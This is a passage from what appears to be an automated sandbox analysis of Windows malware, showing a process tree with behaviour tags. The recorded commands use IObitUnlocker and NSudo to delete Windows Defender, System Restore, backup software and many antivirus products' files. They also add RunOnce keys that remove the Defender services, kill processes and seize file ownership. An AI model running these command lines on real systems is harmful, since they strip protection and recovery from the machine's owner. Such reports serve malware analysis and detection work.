UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1236
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2508
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2396
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:3168
                                          • C:\Windows\system32\sc.exe
                                            sc stop IObitUnlocker
                                            8⤵
                                            • Launches sc.exe
                                            PID:3852
                                          • C:\Windows\system32\sc.exe
                                            sc delete IObitUnlocker
                                            8⤵
                                            • Launches sc.exe
                                            PID:4280
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4672"
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:4624
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /f /pid "4672"
                                            8⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1556
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        • Modifies data under HKEY_USERS
                                        PID:3716
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4944
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                        6⤵
                                          PID:2196
                                • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2Y3879.exe
                                  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2Y3879.exe
                                  2⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4780
                              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe
                                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe
                                1⤵
                                • Executes dropped EXE
                                • Drops file in Windows directory
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:4708
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c icacls "C:\Windows\ltOiuQ3G.exe" /setowner "SYSTEM"
                                  2⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:212
                                  • C:\Windows\SysWOW64\icacls.exe
                                    icacls "C:\Windows\ltOiuQ3G.exe" /setowner "SYSTEM"
                                    3⤵
                                    • Modifies file permissions
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2352
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c icacls "C:\Windows\ltOiuQ3G.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                                  2⤵
                                  • Executes a command shell one-liner
